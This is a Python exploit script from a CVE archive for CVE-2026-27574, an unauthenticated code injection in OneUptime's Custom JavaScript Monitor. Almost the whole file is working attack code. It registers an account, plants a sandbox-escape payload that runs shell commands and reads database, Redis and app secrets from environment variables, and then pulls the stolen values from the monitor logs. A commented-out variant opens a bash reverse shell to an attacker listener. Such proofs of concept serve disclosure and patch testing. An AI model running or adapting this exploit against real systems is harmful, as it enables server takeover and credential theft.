4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-27574-OneUptime.py PY
#!/usr/bin/env python3
# Exploit Title: OneUptime Unauthenticated Code Injection leading to RCE
# CVE: CVE-2026-27574
# Date: 2026-02-21
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: 
# Vendor Homepage: https://oneuptime.com
# Software Link: https://github.com/OneUptime/oneuptime
# Affected: OneUptime < 10.0.0
# Tested on: OneUptime (development instance)
# Category: Remote Code Execution
# Platform: Linux
# Exploit Type: Remote
# CVSS: 9.9 (Critical)
# Description: Allows any registered project member to inject and execute arbitrary JavaScript code in the probe context via Custom JavaScript Monitor, leading to full RCE and leakage of sensitive environment variables.
# Fixed in: 10.0.0 (switched to isolated-vm)
# Usage:
#   python3 exploit.py <target> --lhost <your_ip> --lport <your_port>
#
# Examples:
#   python3 exploit.py http://localhost:3002 --lhost 192.168.1.100 --lport 4444
#
# Options:
#   --lhost     Listener IP for reverse shell (optional for basic leak PoC)
#   --lport     Listener port for reverse shell (optional)
#
# Notes:
#   - This PoC currently performs environment variable leakage + basic command execution.
#   - Reverse shell payload can be added by modifying MALICIOUS_CODE (example included as comment).
#   - Requires open registration on the target instance.
#
# How to Use
#
# Step 1: Start a netcat listener if using reverse shell
#   nc -lvnp <your_port>
#
# Step 2: Run the exploit
#   python3 exploit.py http://target:3002 --lhost <your_ip> --lport <your_port>

print("""
╔════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                    ║
║   ██████╗ ██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗                   ║
║  ██╔═══██╗██║   ██║██╔════╝    ██╔══██╗██╔═══██╗██╔══██╗██╔════╝                   ║
║  ██║   ██║██║   ██║█████╗      ██████╔╝██║   ██║██████╔╝█████╗                     ║
║  ██║▄▄ ██║╚██╗ ██╔╝██╔══╝      ██╔══██╗██║   ██║██╔══██╗██╔══╝                     ║
║  ╚██████╔╝ ╚████╔╝ ███████╗    ██║  ██║╚██████╔╝██║  ██║███████╗                   ║
║   ╚═════╝   ╚═══╝  ╚══════╝    ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝                   ║
║                                                                                    ║
║                     C V E - 2 0 2 6 - 2 7 5 7 4                                    ║
║               Remote Code Execution                                                ║
║                                                                                    ║
║  ┌──────────────────────────────────────────────────────────────────────────────┐  ║
║  │ Author ............ Mohammed Idrees Banyamer                                 │  ║
║  │ Country ........... Jordan                                                   │  ║
║  │ Instagram ......... @banyamer_security                                       │  ║
║  │ Date .............. February 21, 2026                                        │  ║
║  └──────────────────────────────────────────────────────────────────────────────┘  ║
║                                                                                    ║
╚════════════════════════════════════════════════════════════════════════════════════╝
""")

import requests
import json
import time
import argparse
from urllib.parse import urljoin

parser = argparse.ArgumentParser()
parser.add_argument("target", help="Target URL (e.g. http://localhost:3002)")
parser.add_argument("--lhost", help="Your IP for reverse shell (optional)")
parser.add_argument("--lport", help="Your port for reverse shell (optional)")
args = parser.parse_args()

TARGET_URL = args.target.rstrip("/")
DELAY_AFTER_CREATE = 90


# MALICIOUS PAYLOAD - Basic leak (default)

MALICIOUS_CODE = """
const proc = this.constructor.constructor('return process')();
const run = proc.mainModule.require('child_process').execSync;
return {
  data: {
    secret:     proc.env.ONEUPTIME_SECRET       || 'not found',
    db_pass:    proc.env.DATABASE_PASSWORD      || 'not found',
    redis_pass: proc.env.REDIS_PASSWORD         || 'not found',
    clickhouse: proc.env.CLICKHOUSE_PASSWORD    || 'not found',
    id:         run('id').toString().trim(),
    hostname:   run('hostname').toString().trim(),
    whoami:     run('whoami').toString().trim(),
    pwd:        run('pwd').toString().trim()
  }
};
"""


# Optional: Reverse shell payload example 

"""
MALICIOUS_CODE = `
const proc = this.constructor.constructor('return process')();
const cp = proc.mainModule.require('child_process');
cp.exec("bash -c 'bash -i >& /dev/tcp/${args.lhost}/${args.lport} 0>&1'", (err) => {
  // silent
});
return { data: { status: "shell attempted" } };
`;
"""

session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC/CVE-2026-27574",
    "Accept": "application/json",
})

def api_post(endpoint, json_data=None, **kwargs):
    url = urljoin(TARGET_URL + "/", endpoint.lstrip("/"))
    resp = session.post(url, json=json_data, **kwargs)
    if not resp.ok:
        print(f"[!] {endpoint} failed: {resp.status_code} - {resp.text[:200]}")
        exit(1)
    return resp.json() if resp.text.strip() else {}

def api_get(endpoint, params=None):
    url = urljoin(TARGET_URL + "/", endpoint.lstrip("/"))
    resp = session.get(url, params=params)
    resp.raise_for_status()
    return resp.json()

print("[+] Registering new account...")
ts = int(time.time())
register_payload = {
    "name": f"attacker-{ts}",
    "email": f"exploit+{ts}@example.invalid",
    "password": "Exploit123!",
}
register_resp = api_post("api/accounts/register", json=register_payload)
print(f"    → Registered: {register_payload['email']}")

print("[+] Creating new project...")
project_payload = {"name": f"Exploit Project {ts}"}
project_resp = api_post("api/project", json=project_payload)
project_id = project_resp["_id"]
print(f"    → Project ID: {project_id}")

print("[+] Creating malicious Custom JS monitor...")
monitor_payload = {
    "name": "CVE-2026-27574 PoC Monitor",
    "type": "javascript-monitor",
    "projectId": project_id,
    "customCode": MALICIOUS_CODE.strip(),
    "interval": 60,
    "enabled": True,
}
monitor_resp = api_post("api/monitor", json=monitor_payload)
monitor_id = monitor_resp["_id"]
print(f"    → Monitor ID: {monitor_id}")

print(f"[+] Waiting {DELAY_AFTER_CREATE} seconds for probe execution...")
time.sleep(DELAY_AFTER_CREATE)

print("[+] Fetching monitor status...")
status = api_get(f"api/monitor/{monitor_id}/status?projectId={project_id}")
print(json.dumps(status, indent=2))

print("\n[+] Checking recent monitor logs for leaked data...")
logs_resp = api_get(f"api/monitor/{monitor_id}/logs", params={
    "projectId": project_id,
    "limit": 5,
    "skip": 0
})

found = False
for log in logs_resp.get("data", []):
    if "data" in log and isinstance(log["data"], dict):
        leaked = log["data"]
        print("\n" + "═"*70)
        print("               L E A K E D   D A T A   F O U N D                ")
        print("═"*70)
        for k, v in leaked.items():
            print(f"  {k:14} : {v}")
        print("═"*70)
        found = True
        break

if not found:
    print("[!] No leaked data found in recent logs. Try increasing wait time or check UI manually.")

print("\nPoC completed.")
if args.lhost and args.lport:
    print("  → If you used a reverse shell payload, check your listener now.")